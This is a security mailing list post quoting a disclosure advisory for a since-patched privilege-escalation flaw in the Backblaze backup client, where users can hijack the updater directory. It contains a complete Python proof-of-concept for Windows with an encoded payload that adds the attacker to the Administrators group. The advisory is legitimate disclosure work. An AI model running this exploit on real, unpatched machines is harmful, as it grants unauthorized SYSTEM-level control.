Re: [FD] CVE-2020-8152 – Elevation of Privilege in Backblaze

From: Reed Loden <reed () reedloden com>
Date: Tue, 22 Dec 2020 01:51:48 -0800

Due to a process fail, this CVE ID was accidentally reused for another
vulnerability.

The updated CVE ID for this issue is CVE-2020-8290.

We apologize to Jason and others for the inconvenience caused by this error.

Happy holidays,
~reed
(for HackerOne)

On Fri, Sep 11, 2020 at 10:16 AM Jason Geffner <geffner () gmail com> wrote:

> CVE-2020-8152 - Elevation of Privilege in Backblaze
> ---
>
> Summary
> =======
> Name: Elevation of Privilege in Backblaze
> CVE: CVE-2020-8152
> Discoverer: Jason Geffner
> Vendor: Backblaze
> Product: Backblaze for Windows and Backblaze for macOS
> Risk: High
> Discovery Date: 2020-03-13
> Publication Data: 2020-09-08
> Fixed Version: 7.0.0.439
>
> Introduction
> ============
> Per Wikipedia, Backblaze is "an online backup tool that allows Windows and
> macOS
> users to back up their data to offsite data centers. The service is
> designed for
> businesses and end-users, providing unlimited storage space and supporting
> unlimited file sizes."
>
> Vulnerable versions of Backblaze for Windows and Backblaze for macOS
> contain a
> high risk vulnerability that allows a local unprivileged attacker to
> perform an
> elevation of privilege (EOP) attack to become SYSTEM/root.
>
> Vulnerability
> =============
> The Backblaze client's service process, named bzserv, runs as SYSTEM on
> Windows
> and as root on macOS. Every couple of hours, bzserv runs a program named
> bztransmit (executed as SYSTEM/root) to download an XML file named
> clientversion.xml from Backblaze's data center to see if a newer version
> of the
> Backblaze client is available for download, and if so, downloads the latest
> client version's installer from Backblaze's data center. The downloaded
> installer is saved to the %ProgramData%\Backblaze\bzdata\bzupdates
> directory in
> Windows and to the /Library/Backblaze.bzpkg/bzdata/bzupdates or
> /Library/Backblaze/bzdata/bzupdates directory on macOS. Once downloaded,
> bztransmit runs the downloaded installer as SYSTEM via ShellExecute() or
> as root
> via system().
>
> On Windows, the %ProgramData%\Backblaze\bzdata directory is created at
> install-time such that local unprivileged users have read- and
> write-access. The
> bztransmit process creates the bzupdates child directory while it's
> running as
> SYSTEM, and unprivileged users do not have read- or write-access to this
> child
> directory once it's created. However, the bztransmit process does not
> securely
> verify the ACL on this bzupdates directory if it already existed, nor does
> it
> securely update the ACL if the directory already existed. As such, a local
> unprivileged attacker can create the
> %ProgramData%\Backblaze\bzdata\bzupdates
> directory prior to Backblaze's installation, or create the bzupdates child
> directory under %ProgramData%\Backblaze\bzdata after Backblaze is
> installed and
> before bztransmit creates the bzupdates child directory. This allows the
> attacker to be the owner of the bzupdates directory and have full control
> over
> the files in that directory. Thus, the attacker can modify or replace the
> downloaded update executable after it's downloaded and before it's
> executed,
> thereby allowing for local EOP.
>
> On macOS, the /Library/Backblaze.bzpkg/bzdata directory (or
> /Library/Backblaze/bzdata) is created at install-time with permissions 0777
> (drwxrwxrwx), such that local unprivileged users have read- and
> write-access.
> The bztransmit process creates the bzupdates child directory with
> permissions
> 0755 (drwxr-xr-x) while it's running as root, and unprivileged users do
> not have
> read- or write-access to this child directory once it's created. However,
> the
> bztransmit process does not securely verify the permissions on this
> bzupdates
> directory if it already existed, nor does it securely update the
> permissions if
> the directory already existed. As such, a local unprivileged attacker can
> create
> the bzupdates child directory under /Library/Backblaze.bzpkg/bzdata (or
> /Library/Backblaze/bzdata) after Backblaze is installed and before
> bztransmit
> creates the bzupdates child directory. This allows the attacker to be the
> owner
> of the bzupdates directory and have full control over the files in that
> directory. Thus, the attacker can modify or replace the downloaded update
> executable after it's downloaded and before it's executed, thereby
> allowing for
> local EOP.

```
Proof of Concept
================
Video: https://youtu.be/OpC6neWd2aM

The above video shows two concurrent logins to the same VM: an
administrator's
session on the left, and an unprivileged attacker's session on the right.
You
can see the following steps in the in the video:

1. Attacker runs "net localgroup Administrators" to show that the
unprivileged
   attacker's account (named Attacker) is not a member of the
Administrators
   group.
2. Attacker runs "python eop.py" (whose source code is below).
3. The administrator then installs Backblaze.
4. Six minutes later, the installed Backblaze service downloads
   clientversion.xml, which the exploit overwrites.
5. One minute later, the installed Backblaze service downloads the updater
   executable, which the exploit overwrites.
6. The Backblaze service then runs the overwritten updater, which adds the
   Attacker account to the Administrators group.
7. The attacker then runs "net localgroup Administrators" again to show
that the
   Attacker account has indeed been added to the Administrators group.
Local
   privilege elevation complete.

_____________________________________________________________________________
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8152 for Windows."""


__author__ = "geffner () gmail com (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(

"LRx4!F+o`-Q&~GdxlRt2IDf_b?h*hHOT=+r20)M=eGothKnwr?AOHZMOCF*qXfk9P8W?" +

"~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "pObod_MlBT`kDlS6O${^CD~4Z=KV8QJRn3`8m~(QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usril_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usril_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usril_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates =
f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're
" +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
```

```
    #
    if platform.architecture()[0] == "32bit":
        bzinstall =
f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid
value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=.',
                     f'update_hguids_firstchar={hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze
" +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will
elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's
executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an
EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()
```

```
Mitigation
==========
Backblaze patched this vulnerability in Backblaze version 7.0.0.439.

Discoverer
==========
This vulnerability was discovered and reported to Backblaze by Jason
Geffner via
HackerOne.

Timeline
========
2020-03-13 - Vulnerability discovered and reported to Backblaze via
HackerOne
2020-03-26 - HackerOne verified vulnerability
2020-04-22 - CVE-2020-8152 assigned
2020-04-22 - Build 7.0.0.439 released
2020-04-22 - Vulnerability mitigation verified
2020-04-23 - Public disclosure requested
2020-09-08 - Public disclosure
```


_____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread:

Re: [FD] CVE-2020-8152 – Elevation of Privilege in Backblaze ***Reed Loden (Dec 25)***
Re: [FD] CVE-2020-8152 – Elevation of Privilege in Backblaze *Jason Geffner (Dec 25)*